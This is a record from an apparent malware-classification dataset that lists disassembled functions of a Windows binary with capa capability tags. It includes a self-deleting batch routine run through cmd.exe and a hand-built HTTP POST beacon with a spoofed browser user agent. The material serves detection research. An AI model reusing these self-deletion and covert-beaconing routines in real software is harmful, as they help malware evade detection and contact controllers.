joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e36
Capabilities:
Create process on windows
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x7ec]
sub esp, 0x86c
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0x7e8], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp + 0x3d8]
push str.gb__d.bat
push eax
call ebx
add esp, 0xc
xor edi, edi
call fcn.00401302
push eax
lea eax, [ebp + 0x5e0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp + 0x3d8]
push eax
lea eax, [ebp + 0x5e0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x104
lea eax, [ebp + 0x6e4]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x80
lea eax, [ebp + 0x6e4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp + 0x5e0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402f8f
lea eax, [ebp + 0x6e4]
push eax
push eax
lea eax, [ebp - 0x28]
push str._echo_off_r_n:a_r_ndel___s__r_nif_exist___s__goto_a_r_ndel___0_r_n
push eax
mov dword [ebp - 0x2c], esi
call ebx
add esp, 0x10
push esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov word [ebp - 0x40], ax
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x44], 1
lea edi, [ebp - 0x3e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x5e0]
push eax
lea eax, [ebp + 0x4dc]
push str.cmd.exe__c___s_
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp + 0x4dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403116
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0x8c], eax
push ebx
push esi
xor ebx, ebx
lea esi, [ebp - 0x78]
mov dword [ebp - 0x7c], ebx
call fcn.0040305f
mov esi, eax
cmp esi, 1
jne 0x4031e0
push ebx
push 0x80
push 4
push ebx
push eax
push 2
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80], eax
cmp eax, 0xffffffff
je 0x4031e0
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4031ae
mov eax, dword [edi + 0x10c]
push ebx
mov dword [edi + 0x110], eax
lea eax, [ebp - 0x7c]
push eax
mov ebx, 0x128
push ebx
push edi
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, dword [ebp - 0x7c]
sub esi, ebx
neg esi
sbb esi, esi
not esi
and esi, eax
cmp esi, 1
jne 0x4031d7
xor ebx, ebx
push ebx
lea eax, [ebp - 0x7c]
push eax
lea esi, [edi + 0x10c]
push dword [esi]
push dword [edi + 0x124]
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, dword [esi]
sub esi, dword [ebp - 0x7c]
neg esi
sbb esi, esi
not esi
and esi, eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x8c]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6e5
add ebp, 0x90
leave
ret
Function at 0x4031f9
Capabilities:
Get file size

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push esi
push edi
lea esi, [ebp - 0x68]
mov dword [ebp - 0x80], eax
call fcn.0040305f
xor esi, esi
mov edi, eax
inc esi
cmp edi, esi
jne 0x40334e
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push esi
push 0xc0000000
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x6c], eax
mov edi, ecx
cmp edi, esi
jne 0x40333e
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x74], eax
mov edi, ecx
cmp edi, esi
jne 0x40333e
push ebx
push eax
push ebx
push 4
push ebx
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [ebp - 0x7c], eax
mov edi, ecx
cmp edi, esi
jne 0x403330
push dword [ebp - 0x74]
push ebx
push ebx
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [ebp - 0x78], eax
mov edi, ecx
cmp edi, esi
jne 0x403322
xor edi, edi
mov dword [ebp - 0x70], ebx
cmp dword [ebp - 0x74], ebx
jbe 0x403322
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x78]
push dword [ebp - 0x80]
lea esi, [eax + ecx]
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40330a
cmp dword [esi], 0x128
jne 0x40330a
mov eax, dword [ebp + 0xac]
cmp eax, ebx
je 0x403304
cmp eax, dword [esi + 0x108]
jne 0x40330a
xor edi, edi
inc edi
mov dword [esi + 4], edi
mov ecx, dword [ebp - 0x70]
mov eax, dword [esi + 0x110]
lea eax, [ecx + eax + 0x128]
mov dword [ebp - 0x70], eax
cmp eax, dword [ebp - 0x74]
jb 0x4032d0
cmp dword [ebp - 0x78], ebx
je 0x403330
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x7c], ebx
je 0x40333e
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x6c], 0xffffffff
pop ebx
je 0x40334e
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x9c]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0040a6e5
add ebp, 0xa0
leave
ret
Function at 0x403367
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0xa8]
sub esp, 0x128
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0xa4], eax
mov eax, dword [ebp + 0xb0]
push ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xb4]
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], ebx
cmp eax, ebx
je 0x4033a2
mov dword [eax], ebx
lea esi, [ebp - 0x60]
call fcn.0040305f
xor edi, edi
inc edi
cmp eax, edi
jne 0x40351c
push ebx
push 0x80
push 3
push ebx
push edi
push bind
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x64], eax
mov eax, ecx
cmp eax, edi
jne 0x40350d
push ebx
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
setne al
mov dword [ebp - 0x7c], esi
cmp eax, edi
jne 0x40350d
push ebx
push esi
push ebx
push 2
push ebx
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [ebp - 0x6c], eax
mov eax, ecx
cmp eax, edi
jne 0x4034ff
push esi
push ebx
push ebx
push 4
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [ebp - 0x68], eax
mov eax, ecx
cmp eax, edi
jne 0x4034f1
xor edi, edi
mov dword [ebp - 0x74], ebx
cmp esi, ebx
jbe 0x4034f1
cmp dword [ebp - 0x74], ebx
jne 0x4034f1
mov eax, dword [ebp - 0x68]
push dword [ebp - 0x80]
lea esi, [edi + eax]
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4034db
cmp dword [esi + 4], ebx
jne 0x4034db
mov eax, 0x128
cmp dword [esi], eax
jne 0x4034db
mov ecx, dword [ebp + 0xbc]
cmp ecx, ebx
je 0x403493
cmp ecx, dword [esi + 0x108]
jne 0x4034db
mov ecx, dword [ebp - 0x78]
cmp ecx, ebx
je 0x4034a2
mov edx, dword [esi + 0x10c]
mov dword [ecx], edx
cmp dword [ebp + 0xb8], ebx
jne 0x4034d2
add esi, 0x10c
push dword [esi]
add edi, eax
call fcn.0040a769
pop ecx
mov dword [ebp - 0x70], eax
cmp eax, ebx
je 0x4034d2
push dword [esi]
mov ecx, dword [ebp - 0x68]
add ecx, edi
push ecx
push eax
call fcn.0040b850
add esp, 0xc
mov dword [ebp - 0x74], 1
jmp 0x4034e8
mov eax, dword [esi + 0x110]
lea edi, [edi + eax + 0x128]
cmp edi, dword [ebp - 0x7c]
jb 0x403453
cmp dword [ebp - 0x68], ebx
je 0x4034ff
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x6c], ebx
je 0x40350d
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x64], 0xffffffff
je 0x40351c
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xa4]
mov eax, dword [ebp - 0x70]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6e5
add ebp, 0xa8
leave
ret
Function at 0x4035c4
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x254], eax
mov eax, dword [ebp + 0xc]
push edi
lea esi, [ebp - 0x114]
mov dword [ebp - 0x250], eax
call fcn.0040305f
xor ebx, ebx
mov edi, eax
inc ebx
cmp edi, ebx
jne 0x403754
xor esi, esi
push esi
push 0x80
push 3
push esi
push ebx
push 0xc0000000
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x240], eax
mov edi, ecx
cmp edi, ebx
jne 0x40373f
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x24c], eax
mov edi, ecx
cmp edi, ebx
jne 0x40373f
push esi
push eax
push esi
push 4
push esi
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [ebp - 0x248], eax
mov edi, ecx
cmp edi, ebx
jne 0x40372b
push dword [ebp - 0x24c]
push esi
push esi
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [ebp - 0x244], eax
mov edi, ecx
cmp edi, ebx
jne 0x403717
mov edi, 0x128
push edi
lea eax, [ebp - 0x23c]
push esi
push eax
call fcn.0040b7d0
add esp, 0xc
push dword [ebp - 0x254]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x250]
push dword [ebp - 0x24c]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp + 0x10]
push dword [ebp - 0x244]
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x23c]
push eax
mov dword [ebp - 0x238], esi
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x23c], edi
call fcn.00403537
add esp, 0xc
mov edi, eax
cmp dword [ebp - 0x244], esi
je 0x40372b
push dword [ebp - 0x244]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x248], esi
je 0x40373f
push dword [ebp - 0x248]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x240], 0xffffffff
je 0x403754
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6e5
leave
ret
Function at 0x403765
Capabilities:
Delete file
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0x94], eax
push esi
push edi
xor edi, edi
inc edi
lea esi, [ebp - 0x70]
mov dword [ebp - 0x74], edi
call fcn.0040305f
cmp eax, edi
jne 0x40389c
xor esi, esi
push esi
push 0x80
push 3
push esi
push edi
push bind
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x78], eax
mov eax, ecx
cmp eax, edi
jne 0x403888
push ebx
push esi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
xor eax, eax
cmp ebx, 0xffffffff
setne al
cmp eax, edi
jne 0x403887
push esi
push ebx
push esi
push 2
push esi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [ebp - 0x80], eax
mov eax, ecx
cmp eax, edi
jne 0x403879
push ebx
push esi
push esi
push 4
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [ebp - 0x7c], eax
mov eax, ecx
cmp eax, edi
jne 0x40386b
xor edx, edx
mov dword [ebp - 0x74], esi
cmp ebx, esi
jbe 0x403865
cmp dword [ebp - 0x74], esi
jne 0x403865
mov eax, dword [ebp - 0x7c]
lea ecx, [edx + eax]
cmp dword [ecx], 0x128
je 0x403843
mov dword [ebp - 0x74], edi
jmp 0x403850
mov eax, dword [ecx + 0x110]
lea edx, [edx + eax + 0x128]
mov eax, dword [ecx + 0x110]
cmp eax, dword [ecx + 0x10c]
jae 0x403861
mov dword [ebp - 0x74], edi
cmp edx, ebx
jb 0x40382b
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x7c], esi
je 0x403879
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x80], esi
je 0x403887
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
cmp dword [ebp - 0x78], 0xffffffff
je 0x403897
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x74], esi
je 0x4038a6
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp + 0x94]
mov eax, dword [ebp - 0x74]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a6e5
add ebp, 0x98
leave
ret
Function at 0x403ccd
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push esi
push edi
xor edi, edi
lea esi, [ebp - 0x6c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edi
call fcn.0040305f
xor esi, esi
inc esi
cmp eax, esi
jne 0x403dcd
push edi
push 0x80
push 3
push edi
push esi
push bind
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x70], eax
mov eax, ecx
cmp eax, esi
jne 0x403dbe
push ebx
push edi
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
xor eax, eax
cmp ebx, 0xffffffff
setne al
cmp eax, esi
jne 0x403dbd
push edi
push ebx
push edi
push 2
push edi
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, edi
setne cl
mov dword [ebp - 0x74], eax
mov eax, ecx
cmp eax, esi
jne 0x403daf
push ebx
push edi
push edi
push 4
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
cmp eax, edi
setne cl
mov dword [ebp - 0x78], eax
mov eax, ecx
cmp eax, esi
jne 0x403da1
push ebx
push dword [ebp - 0x78]
push dword [ebp - 0x80]
call fcn.00403c15
add esp, 0xc
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x78], edi
je 0x403daf
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x74], edi
je 0x403dbd
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
cmp dword [ebp - 0x70], 0xffffffff
je 0x403dcd
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x98]
mov eax, dword [ebp - 0x7c]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a6e5
add ebp, 0x9c
leave
ret
Function at 0x403de7
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0xa4]
sub esp, 0x124
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0xa0], eax
mov eax, dword [ebp + 0xac]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0xb0]
push esi
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xb4]
push edi
lea esi, [ebp - 0x64]
mov dword [ebp - 0x7c], eax
call fcn.0040305f
xor edi, edi
mov esi, eax
inc edi
cmp esi, edi
jne 0x403efe
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push edi
push bind
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x68], eax
mov esi, ecx
cmp esi, edi
jne 0x403eee
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x74], eax
mov esi, ecx
cmp esi, edi
jne 0x403eee
push ebx
push eax
push ebx
push 2
push ebx
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [ebp - 0x6c], eax
mov esi, ecx
cmp esi, edi
jne 0x403ee0
push dword [ebp - 0x74]
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
cmp eax, ebx
setne cl
mov dword [ebp - 0x70], eax
mov esi, ecx
cmp esi, edi
jne 0x403ed2
push dword [ebp - 0x80]
mov edi, dword [ebp - 0x7c]
push dword [ebp - 0x74]
push eax
push dword [ebp - 0x78]
call fcn.00403c63
add esp, 0x10
mov esi, eax
cmp dword [ebp - 0x70], ebx
je 0x403ee0
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x6c], ebx
je 0x403eee
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x68], 0xffffffff
pop ebx
je 0x403efe
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xa0]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040a6e5
add ebp, 0xa4
leave
ret
Function at 0x4054b4
Capabilities:
Resolve dns

Disassembly:
push edi
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push dword [esp + 8]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 4], eax
pop edi
cmp eax, 0xffffffff
jne 0x4054ee
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405500
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esi + 4], eax
push dword [esp + 8]
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
xor eax, eax
inc eax
ret
xor eax, eax
ret

Function at 0x405503
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x6c]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftInternet_Explorer
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405542
xor eax, eax
jmp 0x4055a1
push edi
push 0x64
pop edi
push edi
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.0040b7d0
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push str.Version
push dword [ebp - 0x6c]
mov dword [ebp - 0x74], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x6c]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x40553e
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x70]
lea eax, [ebp - 0x68]
push dword [ebp - 0x78]
push ebx
push str._u._u._u._u
push eax
call fcn.0040b6c5
xor eax, eax
add esp, 0x18
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a6e5
leave
ret
Function at 0x4055ad
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xab4
mov eax, dword [0x41c050]
xor eax, esp
mov dword [esp + 0xab0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x28]
push eax
xor ebx, ebx
push 0x202
mov esi, ecx
mov dword [esp + 0x18], ebx
call sub.WS2_32.dll_WSAStartup
push 0x800
lea eax, [esp + 0x2bc]
push ebx
push eax
call fcn.0040b7d0
add esp, 0xc
push 0xff
lea eax, [esp + 0x1bc]
push ebx
push eax
call fcn.0040b7d0
mov eax, esi
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405612
sub eax, edi
add eax, 0x64
push eax
call fcn.0040a769
mov dword [esp + 0x10], eax
mov eax, esi
pop ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40562e
sub eax, edi
add eax, 0x64
push eax
push ebx
push dword [esp + 0x14]
call fcn.0040b7d0
add esp, 0xc
push dword [esp + 0xc]
lea eax, [esp + 0x1bc]
push eax
lea edi, [esp + 0x18]
mov ecx, esi
call fcn.004053f2
pop ecx
pop ecx
test eax, eax
jne 0x40566c
xor al, al
jmp 0x405794
push ebx
push ebx
push ebx
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov edi, eax
mov dword [esp + 0x14], edi
cmp edi, 0xffffffff
je 0x405665
push dword [esp + 0x10]
lea eax, [esp + 0x1bc]
push eax
lea esi, [esp + 0x20]
call fcn.004054b4
pop ecx
pop ecx
test eax, eax
jne 0x4056a9
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x405665
push 0x10
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4056a0
mov esi, 0x800
push esi
lea eax, [esp + 0x2bc]
push ebx
push eax
call fcn.0040b7d0
add esp, 0xc
push ebx
lea eax, [esp + 0x1bc]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x2c4]
push str.POST__s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__r_nContent_Length:__u_r_nConnection:_close_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x2cc]
add esp, 0x14
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4056ff
sub eax, edi
mov edi, dword [esp + 0x14]
push ebx
push eax
lea eax, [esp + 0x2c0]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4056a0
push esi
lea eax, [esp + 0x2bc]
push ebx
push eax
call fcn.0040b7d0
add esp, 0xc
push ebx
push 0x7ff
lea eax, [esp + 0x2c0]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
push edi
cmp eax, 0xffffffff
je 0x4056a1
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [esp + 0xc]
call fcn.0040a6f4
pop ecx
push 0xf
pop ecx
mov edi, str.HTTP_1.0_200_OK
lea esi, [esp + 0x2b8]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x405791
push 0xf
pop ecx
mov edi, str.HTTP_1.1_200_OK
lea esi, [esp + 0x2b8]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x405794
xor eax, eax
inc eax
mov ecx, dword [esp + 0xabc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a6e5
mov esp, ebp
pop ebp
ret
Function at 0x4061ee
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x104
mov dword [ebp - 0x114], eax
xor ebx, ebx
lea eax, [ebp - 0x110]
mov esi, ecx
push ebx
push eax
mov dword [ebp - 0x118], esi
call fcn.0040b7d0
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp eax, 1
jne 0x4062a1
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40624b
sub eax, edx
mov ecx, eax
mov eax, esi
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40625b
sub eax, esi
lea esi, [eax + ecx + 2]
push esi
call fcn.0040a769
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4062a1
push dword [ebp - 0x118]
lea eax, [ebp - 0x110]
push eax
push 0x419efc
push esi
push edi
call fcn.0040b337
add esp, 0x14
push edi
push dword [ebp - 0x114]
call fcn.004062b2
pop ecx
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040a6e5
leave
ret